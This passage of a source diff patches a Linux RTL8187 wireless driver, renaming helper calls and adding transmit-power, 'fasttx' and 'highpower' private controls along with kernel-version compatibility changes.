struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-02-15 00:37:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct 